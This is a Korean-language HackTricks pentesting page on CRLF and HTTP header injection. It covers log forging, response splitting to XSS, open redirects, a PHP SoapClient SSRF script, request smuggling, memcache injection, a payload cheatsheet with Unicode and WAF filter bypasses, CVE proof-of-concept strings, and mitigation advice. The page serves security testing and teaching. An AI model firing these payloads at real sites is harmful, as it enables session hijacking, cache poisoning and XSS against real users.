17 KiB
CRLF (%0D%0A) Injection
{{#include ../banners/hacktricks-training.md}}
CRLF
캐리지 리턴(CR)과 라인 피드(LF)는 함께 CRLF로 알려져 있으며, HTTP 프로토콜에서 줄의 끝이나 새로운 줄의 시작을 나타내기 위해 사용되는 특수 문자 시퀀스입니다. 웹 서버와 브라우저는 HTTP 헤더와 응답 본문을 구분하기 위해 CRLF를 사용합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에 보편적으로 사용됩니다.
CRLF Injection Vulnerability
CRLF 인젝션은 사용자 제공 입력에 CR 및 LF 문자를 삽입하는 것을 포함합니다. 이 작업은 서버, 애플리케이션 또는 사용자가 삽입된 시퀀스를 하나의 응답의 끝과 다른 응답의 시작으로 해석하도록 오도합니다. 이러한 문자는 본질적으로 해롭지 않지만, 잘못 사용될 경우 HTTP 응답 분할 및 기타 악의적인 활동으로 이어질 수 있습니다.
Example: CRLF Injection in a Log File
관리 패널의 로그 파일이 IP - Time - Visited Path
형식을 따르는 경우를 고려해 보십시오. 일반적인 항목은 다음과 같을 수 있습니다:
123.123.123.123 - 08:15 - /index.php?page=home
공격자는 CRLF 주입을 이용하여 이 로그를 조작할 수 있습니다. HTTP 요청에 CRLF 문자를 주입함으로써, 공격자는 출력 스트림을 변경하고 로그 항목을 조작할 수 있습니다. 예를 들어, 주입된 시퀀스는 로그 항목을 다음과 같이 변형시킬 수 있습니다:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
여기서 %0d
와 %0a
는 CR과 LF의 URL 인코딩 형태를 나타냅니다. 공격 후, 로그는 잘못된 방식으로 표시될 것입니다:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
공격자는 localhost(서버 환경 내에서 일반적으로 신뢰되는 엔티티)가 작업을 수행한 것처럼 보이게 하여 악의적인 활동을 숨깁니다. 서버는 %0d%0a
로 시작하는 쿼리의 일부를 단일 매개변수로 해석하고, restrictedaction
매개변수는 별도의 입력으로 파싱됩니다. 조작된 쿼리는 합법적인 관리 명령을 효과적으로 모방합니다: /index.php?page=home&restrictedaction=edit
HTTP 응답 분할
설명
HTTP 응답 분할은 공격자가 HTTP 응답의 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스인 캐리지 리턴(CR)과 라인 피드(LF)를 사용하여 헤더와 본문을 구분하며, 이를 CRLF라고 합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하는 데 성공하면, 이후 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 교차 사이트 스크립팅(XSS)으로 이어질 수 있습니다.
HTTP 응답 분할을 통한 XSS
- 애플리케이션은 다음과 같은 사용자 정의 헤더를 설정합니다:
X-Custom-Header: UserInput
- 애플리케이션은 쿼리 매개변수에서
UserInput
의 값을 가져옵니다. 예를 들어 "user_input". 적절한 입력 검증 및 인코딩이 없는 시나리오에서 공격자는 CRLF 시퀀스와 악의적인 내용을 포함하는 페이로드를 만들 수 있습니다. - 공격자는 특별히 조작된 'user_input'을 가진 URL을 만듭니다:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- 이 URL에서
%0d%0a%0d%0a
는 CRLFCRLF의 URL 인코딩된 형태입니다. 이는 서버를 속여 CRLF 시퀀스를 삽입하게 하여 서버가 이후 부분을 응답 본문으로 처리하게 만듭니다.
- 서버는 응답 헤더에 공격자의 입력을 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도치 않은 응답 구조를 초래합니다.
리디렉션으로 이어지는 HTTP 응답 분할의 예
Browser to:
/%0d%0aLocation:%20http://myweb.com
서버는 다음과 같은 헤더로 응답합니다:
Location: http://myweb.com
다른 예: (출처 https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
In URL Path
URL 경로 내부에 페이로드를 전송하여 서버의 응답을 제어할 수 있습니다 (예시는 여기에서 확인할 수 있습니다):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Check more examples in:
{{#ref}} https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md {{#endref}}
HTTP Header Injection
HTTP Header Injection은 CRLF (Carriage Return and Line Feed) 주입을 통해 자주 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (Cross-Site Scripting) 필터나 SOP (Same-Origin Policy)와 같은 보안 메커니즘을 무력화할 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 삽입을 통한 사용자 세션 조작으로 이어질 수 있습니다.
Exploiting CORS via HTTP Header Injection
공격자는 HTTP 헤더를 주입하여 CORS (Cross-Origin Resource Sharing)를 활성화하고, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있게 합니다.
SSRF and HTTP Request Injection via CRLF
CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이의 주목할 만한 예는 PHP의 SoapClient
클래스의 취약점으로, 특히 user_agent
매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써 공격자는 추가 헤더와 본문 내용을 삽입하거나, 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Header Injection to Request Smuggling
이 기술과 잠재적인 문제에 대한 자세한 내용은 원본 소스 확인을 참조하세요.
필수 헤더를 주입하여 백엔드가 초기 요청에 응답한 후 연결을 유지하도록 할 수 있습니다:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
이후 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 HTTP request smuggling과 관련이 있으며, 이는 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있는 기술입니다.
악용:
- 악의적인 접두사 주입: 이 방법은 악의적인 접두사를 지정하여 다음 사용자의 요청이나 웹 캐시를 오염시키는 것입니다. 이의 예는 다음과 같습니다:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- 응답 큐 오염을 위한 접두사 만들기: 이 접근법은 후행 쓰레기와 결합될 때 완전한 두 번째 요청을 형성하는 접두사를 만드는 것입니다. 이는 응답 큐 오염을 유발할 수 있습니다. 예시는 다음과 같습니다:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache 주입
Memcache는 명확한 텍스트 프로토콜을 사용하는 키-값 저장소입니다. 자세한 내용은 다음을 참조하십시오:
{{#ref}} ../network-services-pentesting/11211-memcache/ {{#endref}}
전체 정보는 원본 작성물 을 읽어보십시오.
플랫폼이 HTTP 요청에서 데이터를 가져와 이를 정화하지 않고 memcache 서버에 요청을 수행하는 경우, 공격자는 이 동작을 악용하여 새로운 memcache 명령을 주입할 수 있습니다.
예를 들어, 원래 발견된 취약점에서는 캐시 키가 사용자의 연결 IP와 포트를 반환하는 데 사용되었으며, 공격자는 memcache 명령을 주입하여 캐시를 오염시켜 피해자의 세부정보(사용자 이름 및 비밀번호 포함)를 공격자 서버로 전송할 수 있었습니다:

게다가 연구자들은 공격자가 알지 못하는 사용자의 이메일로 공격자의 IP와 포트를 전송하기 위해 memcache 응답을 비동기화할 수 있다는 것도 발견했습니다:

웹 애플리케이션에서 CRLF / HTTP 헤더 주입 방지 방법
웹 애플리케이션에서 CRLF(캐리지 리턴 및 라인 피드) 또는 HTTP 헤더 주입의 위험을 완화하기 위해 다음 전략이 권장됩니다:
- 응답 헤더에 직접 사용자 입력 피하기: 가장 안전한 접근법은 사용자 제공 입력을 응답 헤더에 직접 포함하지 않는 것입니다.
- 특수 문자 인코딩: 직접 사용자 입력을 피할 수 없는 경우, CR(캐리지 리턴) 및 LF(라인 피드)와 같은 특수 문자를 인코딩하는 전용 함수를 사용해야 합니다. 이 관행은 CRLF 주입의 가능성을 방지합니다.
- 프로그래밍 언어 업데이트: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 주입을 본질적으로 허용하지 않는 버전을 선택하십시오.
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
최근 취약점 (2023 – 2025)
지난 몇 년 동안 널리 사용되는 서버 및 클라이언트 측 구성 요소에서 여러 고위험 CRLF/HTTP 헤더 주입 버그가 발생했습니다. 이를 로컬에서 재현하고 연구하는 것은 실제 세계의 악용 패턴을 이해하는 데 훌륭한 방법입니다.
연도 | 구성 요소 | CVE / 권고 | 근본 원인 | PoC 하이라이트 |
---|---|---|---|---|
2024 | RestSharp (≥110.0.0 <110.2.0) | CVE-2024-45302 | AddHeader() 헬퍼가 CR/LF를 정리하지 않아 RestSharp가 백엔드 서비스 내에서 HTTP 클라이언트로 사용될 때 여러 요청 헤더를 구성할 수 있게 했습니다. 다운스트림 시스템은 SSRF 또는 요청 밀반입으로 강제될 수 있습니다. |
client.AddHeader("X-Foo","bar%0d%0aHost:evil") |
2024 | Refit (≤ 7.2.101) | CVE-2024-51501 | 인터페이스 메서드의 헤더 속성이 요청에 그대로 복사되었습니다. %0d%0a 를 삽입함으로써 공격자는 Refit이 서버 측 작업으로 사용될 때 임의의 헤더 또는 두 번째 요청을 추가할 수 있었습니다. |
[Headers("X: a%0d%0aContent-Length:0%0d%0a%0d%0aGET /admin HTTP/1.1")] |
2023 | Apache APISIX 대시보드 | GHSA-4h3j-f5x9-r6x3 | 사용자 제공 redirect 매개변수가 인코딩 없이 Location: 헤더에 에코되어 열려 있는 리디렉션 + 캐시 오염을 가능하게 했습니다. |
/login?redirect=%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script> |
이러한 버그는 애플리케이션 수준 코드 내에서 발생하므로 중요합니다. HTTP 요청을 수행하거나 응답 헤더를 설정하는 모든 내부 구성 요소는 CR/LF 필터링을 시행해야 합니다.
고급 유니코드 / 제어 문자 우회
현대 WAF/리라이터 스택은 종종 리터럴 \r
/\n
을 제거하지만 많은 백엔드가 줄 끝으로 처리하는 다른 문자를 잊어버립니다. CRLF가 필터링될 때 시도해 보십시오:
%E2%80%A8
(U+2028
– 줄 구분자)%E2%80%A9
(U+2029
– 단락 구분자)%C2%85
(U+0085
– 다음 줄)
일부 Java, Python 및 Go 프레임워크는 헤더 파싱 중에 이를 \n
으로 변환합니다 (2023 Praetorian 연구 참조). 이를 고전적인 페이로드와 결합하십시오:
/%0A%E2%80%A8Set-Cookie:%20admin=true
필터가 먼저 UTF-8을 정규화하면 제어 문자가 일반 줄 바꿈으로 변환되고 주입된 헤더가 수용됩니다.
중복 Content-Encoding
트릭을 통한 WAF 회피 (2023)
Praetorian 연구원들은 또한 다음을 주입함으로써:
%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a
into a reflected header, 브라우저는 서버가 제공한 본문을 무시하고 그 뒤에 오는 공격자가 제공한 HTML을 렌더링하여, 애플리케이션의 자체 콘텐츠가 비활성화되어 있어도 저장된 XSS를 발생시킵니다. Content-Encoding: identity
는 RFC 9110에 의해 허용되므로, 많은 리버스 프록시가 이를 변경하지 않고 전달합니다.
Automatic Tools
- CRLFsuite – Go로 작성된 빠른 능동 스캐너입니다.
- crlfuzz – 유니코드 개행 페이로드를 지원하는 단어 목록 기반 퍼저입니다.
- crlfix – Go 프로그램에서 생성된 HTTP 요청을 패치하는 2024 유틸리티로, 내부 서비스를 테스트하기 위해 독립적으로 사용할 수 있습니다.
Brute-Force Detection List
References
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
- https://nvd.nist.gov/vuln/detail/CVE-2024-45302
- https://security.praetorian.com/blog/2023-unicode-newlines-bypass/
{{#include ../banners/hacktricks-training.md}}